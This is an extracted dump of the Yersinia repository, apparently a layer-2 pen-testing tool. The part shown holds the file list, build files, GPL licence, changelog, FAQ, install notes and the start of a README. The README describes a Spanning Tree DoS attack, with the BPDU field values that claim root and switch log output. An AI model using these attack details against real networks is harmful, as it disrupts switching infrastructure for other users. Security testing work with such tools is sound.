Showing preview only (1,232K chars total). The displayed content is truncated. Use the JSON API for full output.
Extracted by GitExtract (https://gitextract.com)
Repository: tomac/yersinia
Branch: master
Commit: 867b309eced9
Files: 83
Total size: 1.2 MB
Directory structure:
yersinia/
├── .gitignore
├── .travis.yml
├── AUTHORS
├── COPYING
├── ChangeLog
├── FAQ
├── INSTALL
├── Makefile.am
├── NEWS
├── README
├── README.md
├── THANKS
├── TODO
├── acinclude.m4
├── autogen.sh
├── borra
├── configure.ac
├── src/
│ ├── Makefile.am
│ ├── admin.c
│ ├── admin.h
│ ├── arp.c
│ ├── arp.h
│ ├── attack.c
│ ├── attack.h
│ ├── cdp.c
│ ├── cdp.h
│ ├── commands-struct.h
│ ├── commands.c
│ ├── commands.h
│ ├── dhcp.c
│ ├── dhcp.h
│ ├── dlist.c
│ ├── dlist.h
│ ├── dot1q.c
│ ├── dot1q.h
│ ├── dot1x.c
│ ├── dot1x.h
│ ├── dtp.c
│ ├── dtp.h
│ ├── global.h
│ ├── gtk-callbacks.c
│ ├── gtk-callbacks.h
│ ├── gtk-gui.c
│ ├── gtk-gui.h
│ ├── gtk-interface.c
│ ├── gtk-interface.h
│ ├── gtk-support.c
│ ├── gtk-support.h
│ ├── hsrp.c
│ ├── hsrp.h
│ ├── interfaces.c
│ ├── interfaces.h
│ ├── isl.c
│ ├── isl.h
│ ├── md5-sum.c
│ ├── md5-sum.h
│ ├── md5.c
│ ├── md5.h
│ ├── mpls.c
│ ├── mpls.h
│ ├── ncurses-callbacks.c
│ ├── ncurses-callbacks.h
│ ├── ncurses-gui.c
│ ├── ncurses-gui.h
│ ├── ncurses-interface.c
│ ├── ncurses-interface.h
│ ├── parser.c
│ ├── parser.h
│ ├── protocols.c
│ ├── protocols.h
│ ├── terminal-defs.h
│ ├── terminal.c
│ ├── terminal.h
│ ├── thread-util.c
│ ├── thread-util.h
│ ├── vtp.c
│ ├── vtp.h
│ ├── xstp.c
│ ├── xstp.h
│ ├── yersinia.c
│ ├── yersinia.conf
│ └── yersinia.h
└── yersinia.8
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Object files
*.o
*.ko
*.obj
*.elf
*.Po
# Libraries
*.lib
*.a
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# autoconf/automake
configure
Makefile
Makefile.in
autom4te.cache/*
src/.deps
compile
aclocal.m4
config.*
depcomp
install-sh
missing
stamp-h1
# yersinia binaries
yersinia
yersinia.log
src/yersinia
src/yersinia.log
# Coverity builds
cov-int/*
yersinia*.tgz
================================================
FILE: .travis.yml
================================================
language: c
compiler:
- gcc
- clang
before_install:
- sudo apt-get update -qq
- sudo apt-get install -y libnet-dev libpcap-dev
- sudo apt-get install -y gtk2.0 libgtk2.0-dev
script: ./autogen.sh; ./configure --with-pcap-includes=/usr/include/ && make
env:
global:
# The next declaration is the encrypted COVERITY_SCAN_TOKEN, created
# via the "travis encrypt" command using the project repo's public key
- secure: "XKrYVcrfhsl5jNPxkcCSlV7RT5dxXW4kAmhj5CYvubcusOE0crbiVTU6qx8F0qRh1snsmfnZ6WwXOtOkNN5fNCeoOsalOBoRQO+Tz3X9XOoZ76TqFjp2GwwVFzW+6qUKah5G0H2iJJX0ckrFLyUI4BRS8bw3kPN7T3VXzXejl/U="
addons:
coverity_scan:
project:
name: "tomac/yersinia"
description: "Build submitted via Travis CI"
notification_email: tomac@yersinia.net
build_command_prepend: "./autogen.sh && ./configure"
build_command: "make"
branch_pattern: coverity_scan
================================================
FILE: AUTHORS
================================================
Alfredo Andres Omella <aandreswork@hotmail.com>
David Barroso Berrueta <tomac@yersinia.net>
http://www.yersinia.net <yersinia@yersinia.net>
================================================
FILE: COPYING
================================================
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
675 Mass Ave, Cambridge, MA 02139, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
Appendix: How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) 19yy <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) 19yy name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
================================================
FILE: ChangeLog
================================================
CHANGES for Yersinia
====================
2017/08/24
----------
- Version 0.8.2
- FIX: CL: Fix reversed use of IP addresses parameters on command line, issue #44
2017/08/24
----------
- Version 0.8.1
- Fixed critical bug using invalid network interfaces (appeared initially with STP MiTM attack), issue #41
2017/08/23
----------
- Version 0.8.0
- Changed email addresses
- More code cleaning (renamed internal attack structures, removed cvs variable, ...)
- GTK: Reworked attack dialogs
- FIX: DHCP: Fixed "rogue server" attack, issue #12
- FIX: GTK: Memory leak using attack parameters, issue #38
- FIX: GTK: Attack parameters dialog was unable to close when launching an attack, issue #39
- FIX: GTK: Closing main window with the close button doesn't work, #36
- FIX: GTK: Out of bounds access refreshing main window, issue #35
2017/08/11
----------
- Version 0.8.0beta1
- Cleaned up some code (removed unused variables and macros, fixed compiler warnings, changed logging...)
- FIX: Error searching for pcap folder, thanks to digininja
- FIX: Changed pcap filter for sniffing of 802.1Q packets, issue #27
- FIX: CDP: Bad pointer usage, issue #14
- FIX: STP: Bad crafting of TCN packet, issue #32
- FIX: GTK: Bug on write_log that leads to random crashes, issue #9
- FIX: GTK: Usage of NULL variable using right click, issue #6
- FIX: GTK: Packet counters update, issue #26
- FIX: GTK: Add missing argument in function, issues #19, #20, #21, #22, #23 and #28
- FIX: GTK: Using nonexistant widget throws a critical error, issue #16
- FIX: GTK: Unable to close About window using the close button, issue #17
- FIX: GTK: Some toggled menues (MAC spoofing and others) don't work, issue #29
- FIX: GTK: Out of bound access on protocols array from buttons "Clear stats" and "Edit", issue #30
- FIX: GTK: Out of bound access on protocols array from button "Load default", issue #31
- FIX: GTK: Bad usage of attacks index, issues #24 and #25
2013/08/21
----------
- Version 0.7.3
- Fixed our pretty big issue with network interfacces under Linux. :)
- Fixed pcap_compile error.
- Refactoring a little bit of interfaces.c
2007/05/01
----------
- Version 0.7.2
- Fixed coredump on ncurses_i_ifaces_screen().
- Removed 'min' and 'max' members from all the structures.
2007/04/27
----------
- Added new protocol: MPLS. Rudimentary approach... :)
2007/02/08
----------
- Version 0.7.1
- Now it works in MacOSX 10.4 and perhaps in other BSD (BPF support)
2007/01/25
----------
- Added VTP exploit
2006/03/23
----------
- Forbidden launching attacks that need parameters from command line interface.
- Better 802.1X support.
- Better VTP printable data.
- Ncurses fixes
2006/03/22
----------
- We've got a new domain, www.yersinia.net :)
- Removed get_info protocol function.
2006/03/15
----------
- Removed update_data from protocols.
2006/03/14
----------
- Fixed ncurses show_info window if no protocol packets.
- Added alphabetical order for CLI. Yahooooo!!
2006/03/10
----------
- Added 802.1X simple MitM attack. :)
2006/03/09
----------
- Pre-pre-pre-pre-liminary release of 802.1X. :)
- Fixed 802.1Q problems with ncurses.
2006/02/17
----------
- Fixed configure bugs and better compilation for --disable-admin option. :)
- Updated man page (not finished yet).
- Fixed STP error when using RSTP.
2006/02/16
----------
- Fixed *big* race condition on Solaris due to the use of nonsafe
multithreading calls. Yaaaahooo!!. :)
2006/02/09
----------
- Now it works again in OpenBSD (don't ignore your parents)
- Fixed lots of bugs compiling on Solaris platform.
- Added minimal protocol stats for the CLI.
2006/02/05
----------
- Fixed race condition on startup of tty and console threads.
- Fixed bug that leads to coredump when not selecting interface with tty.
2006/01/11
----------
- Fixed problem in xstp_com_other().
- Added if protocol.visible in some loops.
- Removed ARP protocol from yersinia.conf.
2005/12/30
----------
- Added default values on startup just to avoid sending packets with bad
values like MAC addresses filled with zeroes and so on...
- Fixed bad display showing the protocol params in the CLI.
- Initialize just the visible protocols on term_add_node().
- Fixed bug in ncurses protocol select screen ('g' key).
- Added all the functions keys to change protocol mode in ncurses interface.
- Removed nonvisible protocols with the ncurses function keys.
- Take into account a 0 bytes filename when pressing 'w' in ncurses.
- Removed the ncurses '!' option (not useful and broke the design).
2005/12/25
----------
- Added a new function to each protocol: protocol_end(struct term_node *).
Called when destroying the node.
2005/12/22
----------
- Fixed bug in interfaces_get_last.
- Changed intefaces_add() to interfaces_enable().
- Changed intefaces_del() to interfaces_disable().
- Removed global mutex_int and created new mutex field for list_t.
- Normalized file names.
2005/12/21
----------
- Changed the interfaces list from static to a dynamic one. Now you can have
as many interfaces as you wish!
2005/12/16
----------
- Ncurses split in three different files like GTK
- New files for dynamic lists implementation
2005/11/16
----------
- New CLI design!! My friend, we have TAB support...Yahoooo!! :)
- Fixed 3 annoying bugs on attack_kill_th :)
2005/11/08
----------
- Removed getopt from distribution (no longer needed).
2005/11/04
----------
- Added specific filter param for protocol in struct commands_param.
- Added xstp and cdp specific filter functions for params.
2005/11/03
----------
- First try for making an 'abstract' command line parser for any protocol.
2005/11/02
----------
- Moved attack_filter_param to parser_filter_param
2005/11/01
----------
- Fixed bad length on vtp CLI struct, dtp CLI struct, hsrp CLI struct and
xstp CLI struct.
- Updated the maximum CLI command length from 32 to 48 bytes.
- Added keeping care of the 'active' protocols on interfaces engine (not
really useful at the moment but it must be done soon or later).
2005/10/31
----------
- Added 'sh protocol params' CLI command.
2005/10/30
----------
- Added 'visible' field to protocols struct.
- New dynamic design for some CLI commands (not finished). Now the protocols
list in some CLI commands is fetched from the global protocols struct. :)
- Fixed bug on run attack CLI command.
2005/10/27
----------
- Added new design for DHCP CLI command 'set' (big change, arghhhh). :)
- Added new design for STP CLI command 'set' (big change, arghhhh). :)
2005/10/26
----------
- Fixed FIELD_BYTES on attack_filter_param (oh my god!).
- Fixed dtp_dom_len not using the real domain len on dtp.c
- Fixed vtp_dom_len not using the real domain len on vtp.c
- Added new design for DTP CLI command 'set' (big change, arghhhh). :)
- Added new design for VTP CLI command 'set' (big change, arghhhh). :)
- Added new design for 802.1Q CLI command 'set' (big change, arghhhh). :)
- Added new design for HSRP CLI command 'set' (big change, arghhhh). :)
- Added new design for CDP CLI command 'set' (big change, arghhhh). :)
- Fixed data alignment when using FIELD_DEC or FIELD_HEX data type on
attack_filter_param.
2005/10/20
----------
- Fixed src/Makefile.am for compiling. :)
2005/10/10
----------
- Initial GTK interface
2005/09/29
----------
- Fixed OpenBSD compile bugs and warnings in ncurses interface
- Fixed annoying bug on hsrp that can lead to hsrp failures.
2005/09/23
----------
- Added the daemon port to the configuration file.
- Minor bugfixes.
- Solved CDP annoying bug.
- Solved the infamous interfaces initial bug. Thanks to Andrej Frank for
pointing out this (added to the THANKS file).
- Fixed ncurses warning if terminal is less than 80x25.
2005/09/16
----------
- Version 0.5.6
2005/09/12
----------
- Added --with-libnet-includes and --with-pcap-includes to the configure
script.
- Added Darwin OS support in configure script
2005/08/24
----------
- Fixed a bug when using more than 1 command line argument
- Added support for IPv4 filtering for the network daemon in the
configuration file, now we support expressions with '-', '*' and CIDR. :)
(See the yersinia.conf file).
- Added Enigma Obfuscate to the THANKS file as a patch submitter due to his
Mac OSX patch (thanks).
2005/08/07
----------
- Fixed a bug when recognizing ISL packets
- Version 0.5.5.1
2005/08/02
----------
- Version 0.5.5
2005/07/28
----------
- Fixed gcc 4 warnings
2005/06/15
----------
- Fixed lots of windows errors when using 80x25 terminals in ncurses mode.
2005/06/09
----------
- Added the user, password and enable password for the daemon mode in the
configuration file.
2005/06/06
----------
- Solved interfaces thread taking 100% of CPU amount. Thanks to Sergi Alvarez
for pointing out this.
2005/05/26
----------
- Removed F1-F10 option on ncurses help screen.
2005/05/24
----------
- Released 0.5.4 version.
2005/05/24
----------
- Added 'g' option (for switching among modes, useful if you run a window
manager that manages F1, F2 ... (like ion3!!)
2005/05/18
----------
- Fixed annoying deadlock with tty terminal and uptime thread.
- Fixed bad man page examples. Thanks to Andrew Vladimirov for pointing
out this.
2005/04/20
----------
- Fixed annoying memory leak due to thread design. Thanks to Alejandro
Sanchez for pointing out this.
- Fixed possible bug in term_delete_node
- Fixed htonl/ntohl issues on hsrp_send_raw. Thanks to Daniel Solis for
pointing out this.
2004/02/06
----------
Changed name from STomP to Yersinia.
Moved attack_* to attack_stp_*.
0.3.0 2003/01/15
-----
Thread support
0.2.0
-----
Two DoS attacks and one non DoS implemented
Support for multiple interfaces
0.1.0
-----
Initial Release (alphaaaaaaaaaa)
================================================
FILE: FAQ
================================================
yersinia FAQ
INDEX
1. General Questions:
1.1 Where can I get help?
1.2 Where did the name come from?
1.3 How do you dare to implement a tool for doing nasty things?
1.4 Wtf? This crappy software does not run in Windows.
2. Downloading yersinia:
2.1 Where can I download yersinia?
3. Building yersinia:
3.1 How can I build yersinia?
3.2 How can I compile yersinia on Mac OSX?
3.3 When will be the 'put_your_preferred_os_here' supported?
4. Installing yersinia:
4.1 How can I install yersinia?
5. Using yersinia:
5.1 I've resized my window and yersinia is displaying crappy data!
5.2 There are some fields in the packet that don't display their meaning!
5.3 I'm unable to switch between the different protocol windows!!
5.4 Why the hell the ncurses interface has a lot more options than the
Cisco interface?
5.5 Arrgggghhh!!! The proggy crashes 'ad infinitum', is this a f*ck*n'
sh*t?
5.6 I can't see thouse fancy colours in Yersinia
6. Personal questions:
6.1 Who are you?
6.2 You are so handsome!!! I want to meet you in real life.
1. General Questions
Q 1.1: Where can I get help?
A: There is no official support for yersinia, but you can try to
send an e-mail to yersinia _-AT-_ yersinia_-DOT-_ net and wait
if something happens.
Q 1.2: Where did the name come from?
A: No other bacteria, perhaps organism, had so much of an effect on
human history as Yersinia pestis, the bacteria that causes plague.
Many outbreaks of plague have caused death and population reduction
throughout history. The most famous, however, was the notorious Black
Death of medeival times that killed one third of the population of
14th century Europe. People watched their family and friends die with
sickly buboes (swollen lymph nodes) on their necks and a color near
black all over their bodies, caused by respiratory failure. People who
contracted the disease and were unable to fight it off died within
three to five days.
(taken from http://members.aol.com/omaryak/plague/)
Q 1.3 How do you dare to implement a tool for doing nasty things?
A: Hey! take it easy. We are pen-testers, so we need this little proggie
for making chaos in our customers networks. Running yersinia to do
"bad things" is not recommended and could cause inestability and
serious troubles to your health.
Q: 1.4 Wtf? This crappy software does not run in Windows.
A: No, it does certainly not. Perhaps some nice fellow could port
yersinia to Windows and make you happy.
2. Downloading yersinia
Q 2.1: Where can I download yersinia?
A: Try http://www.yersinia.net, downloads section.
3. Building yersinia
Q 3.1: How can I build yersinia?
A: Do a './configure', and then 'make'
Q 3.2: How can I compile yersinia on Mac OSX?
A: Install XCode, Darwin ports, and the following ports:
autoconf
automake
expat
gettext
glib2-devel
libiconv
libnet11
libpcap
pkgconfig @0.21_0 (active)
Q 3.3: When will be the 'put_your_preferred_os_here' supported?
A: When someone (like you) help us compiling and patching Yersinia
4. Installing yersinia
Q 4.1: How can I install yersinia?
A: Do a 'make install'
5. Using yersinia
Q 5.1: I've resized my window and yersinia is displaying crappy data!
A: Please press Ctrl+L to clear and refresh the screen
Q 5.2: There are some fields in the packet that don't display their meaning!
A: Please, use the best tool for dissecting packets: ethereal.
Q 5.3: I'm unable to switch between different protocol windows!!
A: To switch between protocol windows you must use the function keys.
Unfortunately the way function keys works is different with different
terminal emulations. If you have problems with the function keys
enable some other function keys emulation in your client terminal
software, e.g.: On PuTTY select Terminal -> Keyboard and mark "The
Function Keys and keypad" as "Xterm R6".
Q 5.4: Why the hell the ncurses interface has a lot more options than the
Cisco interface?
A: Man... we are developing this proggy out of work time, it's just a
matter of time... Anyway you can try to help us... :)
Q 5.5: Arrgggghhh!!! The proggy crashes 'ad infinitum', is this a f*ck*n'
sh*t?
A: First of all thanks a lot for your invaluable opinion... :-P
On the other hand, we are *NOT* professional developers... By the way,
have you noticed the proggy version (0.5.x)? :-P
Anyway you can send us a patch solving the problem and you will get
your 5 minutes of fame... :D
Q 5.6: I can't see thouse fancy colours in Yersinia
A: Set your $TERM to pcvt25, little prairie dog
6. Personal questions:
Q 6.1: Who are you?
A: A couple of good friends and coworkers who enjoy a lot to play within
the network security field. By the way we like a lot the spanish food.
:D.
Q 6.2 You are so handsome!!! I want to meet you in real life.
A: Girls are welcome. But take into account the following sentence:
'If you spend more time sharpening your axe, you'll spend less time
chopping wood'
================================================
FILE: INSTALL
================================================
Last release and CVS/SVN repository can be always accessed at
https://github.com/tomac/yersinia
http://www.yersinia.net
Requirements
------------
- Pcap library at least 0.8, you can get it at:
http://www.tcpdump.org
- Libnet library at least 1.1.2, you can get it at:
http://www.packetfactory.net/libnet
- If you want to compile the GTK2 interface you'll need the GTK libraries with GTK >= v2.6.0
Sources from CVS/SVN repository
-------------------------------
If the sources have been obtained from the CVS/SVN repository you will need the
autotools and automake packages. Autoconf must be at least version 2.52 and
automake must be at least version 1.6.
To install Yersinia:
./autogen.sh
./configure
make
make install
Sources from distribution
-------------------------
The usual way:
./configure
make
make install
Configure options
-----------------
Tha main configure options are the following:
--disable-admin Disable the remote admin interface
--disable-gtk Disable the gtk 2.0 interface
--with-pcap-includes Specify the pcap include directory
--with-libnet-includes Specify the libnet include directory
Systems supported
-----------------
Due to our lack of resources, we've only been able to test Yersinia in a few
different operating systems; so please, if you have any other system that is
not included in the list below, send us a mail :)
- OpenBSD 3.4 (note: upgrade your pcap libraries to at least 0.7.2)
- Linux 2.4.x and 2.6.x
- Solaris 5.8 64bits SPARC.
- FreeBSD 5.2.1
Do you wanna port yersinia to other systems? Plz, tell us, but keep in mind
that you *SHOULD* have the platform in order to test it 'cause we
don't have all posible platforms (Ebay rules, but we can't afford it).
Plz, send your comments to:
yersinia@yersinia.net
aandreswork@hotmail.com
================================================
FILE: Makefile.am
================================================
SUBDIRS = src
man_MANS = yersinia.8
EXTRA_DIST = $(man_MANS) FAQ THANKS src/yersinia.conf
================================================
FILE: NEWS
================================================
================================================
FILE: README
================================================
[](https://travis-ci.org/tomac/yersinia)
Spanning Tree
-------------
#1: DOS attack sending conf BPDUs
Let's send some conf BPDUs claiming be root!!! By sending continously conf BPDU with root pathcost 0, randomly
generated bridge id (and therefore the same root id), and some default values for other fields, we try to
annoy the switches close to us, causing a DoS when trying to parse and recalculate their STP engines.
Source MAC: randomly generated.
Destination MAC: 01:80:c2:00:00:00
Bridge ID: 8000:source_mac
Root ID: 8000:source_mac
Hello time: 2
Forward delay: 15
Max age: 20
Root pathcost: 0
<output from the cisco log>
01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-4ba6.2d45.5844 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-deb0.4f14.7288 on Fa0/8
